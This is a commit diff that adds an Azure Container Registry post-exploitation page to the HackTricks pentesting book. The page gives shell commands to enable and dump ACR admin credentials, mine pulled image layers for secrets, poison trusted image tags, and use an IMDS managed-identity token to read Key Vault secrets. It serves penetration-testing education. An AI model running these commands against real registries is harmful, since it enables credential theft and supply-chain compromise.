Add content from: Pandora's Container Part 1: Unpacking Azure Container Securi... (#322)

Co-authored-by: HackTricks News Bot <bot@hacktricks.xyz>

Author: carlospolop

src/SUMMARY.md

@@ -526,6 +526,7 @@
     - [Az API Management Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md)
     - [Az Azure Ai Foundry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md)
     - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
+    - [Az - Container Registry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md)
     - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
     - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
     - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)

src/pentesting-ci-cd/argocd-security.md

@@ -241,3 +241,4 @@ Model that second parameter as a remote source and add custom sinks for `exec.Co
 - [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
 - [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
 - [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
+{{#include ../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/README.md

@@ -6,4 +6,8 @@
 az-azure-ai-foundry-post-exploitation.md
 {{#endref}}
 
+{{#ref}}
+az-container-registry-post-exploitation.md
+{{#endref}}
+
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md

@@ -0,0 +1,95 @@
+# Az - Container Registry Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Azure Container Registry
+
+For more information about this service check:
+
+{{#ref}}
+../az-services/az-container-registry.md
+{{#endref}}
+
+### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
+
+An identity with ACR management-plane access can convert that access into **reusable Docker credentials**. If the **admin user** is disabled but the principal also has `registries/write`, enable it, recover the passwords, and authenticate directly against `<registry>.azurecr.io`.
+
+```bash
+az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
+az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
+az acr credential show -n <registry-name>
+docker login <registry-name>.azurecr.io -u <username> -p <password>
+```
+
+This is useful because the recovered credentials can be reused outside the Azure CLI to **list, pull, push, overwrite, and sometimes delete** registry content until the admin account is disabled or the passwords are rotated.
+
+### `Microsoft.ContainerRegistry/registries/pull/read`
+
+Use pull access for **repository reconnaissance** and **secret hunting** inside images. Review both the final container configuration and the historical filesystem layers because files copied in one layer may remain recoverable even if deleted later.
+
+```bash
+az acr repository list -n <registry-name>
+az acr repository show-tags -n <registry-name> --repository <repository> --detail
+docker pull <registry-name>.azurecr.io/<repository>:<tag>
+
+container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
+docker cp "$container_id":/ ./extracted_container
+docker rm "$container_id"
+docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
+dive <registry-name>.azurecr.io/<repository>:<tag>
+```
+
+High-value targets include **environment variables**, **application configs**, **deployment scripts**, **certificates**, **access tokens**, and **connection strings**. For more ideas while reviewing layers, check the Docker forensics page:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `Microsoft.ContainerRegistry/registries/push/write`
+
+Push access lets an attacker **poison trusted repositories** or **overwrite mutable tags** such as `latest`, `prod`, or `stable`. Any workload that still deploys by tag instead of digest may pull the attacker image on the next deployment, scale-out event, or restart.
+
+```bash
+# Retag an existing local image for the target ACR
+
+docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
+docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
+
+# If your workstation architecture differs from the target runtime, build for the consumer platform first
+
+docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
+docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
+```
+
+Before replacing a tag, verify which repositories and tags are actually consumed by downstream workloads. **Digest-pinned** consumers (`@sha256:...`) are much harder to redirect than tag-based consumers.
+
+### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
+
+If you can both **replace the image** used by a downstream container workload and **restart** that workload, the malicious entrypoint executes inside the target container's **network and managed identity context**. From there, the image can request tokens from IMDS and access Azure resources reachable by that workload identity.
+
+```bash
+TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
+curl -H "Authorization: Bearer $TOKEN" \
+  'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
+az container restart --resource-group <resource-group> --name <container-name>
+```
+
+This turns an ACR tag overwrite into **code execution**, **secret theft**, or **lateral movement** inside any container consumer that trusts the modified tag and exposes a useful identity.
+
+### Related privesc path: ACR Tasks managed identities
+
+If you also have `Microsoft.ContainerRegistry/registries/tasks/write` and `Microsoft.ContainerRegistry/registries/runs/write`, move to the ACR privesc path and abuse the task's managed identity directly:
+
+{{#ref}}
+../az-privilege-escalation/az-container-registry-privesc.md
+{{#endref}}
+
+## References
+
+- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
+- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
+- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
+- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
+- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-services/az-container-registry.md

@@ -161,6 +161,10 @@ az acr cache show --name <cache-name> --registry <registry-name>
 ../az-privilege-escalation/az-container-registry-privesc.md
 {{#endref}}
 
+{{#ref}}
+../az-post-exploitation/az-container-registry-post-exploitation.md
+{{#endref}}
+
 ## References
 
 - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)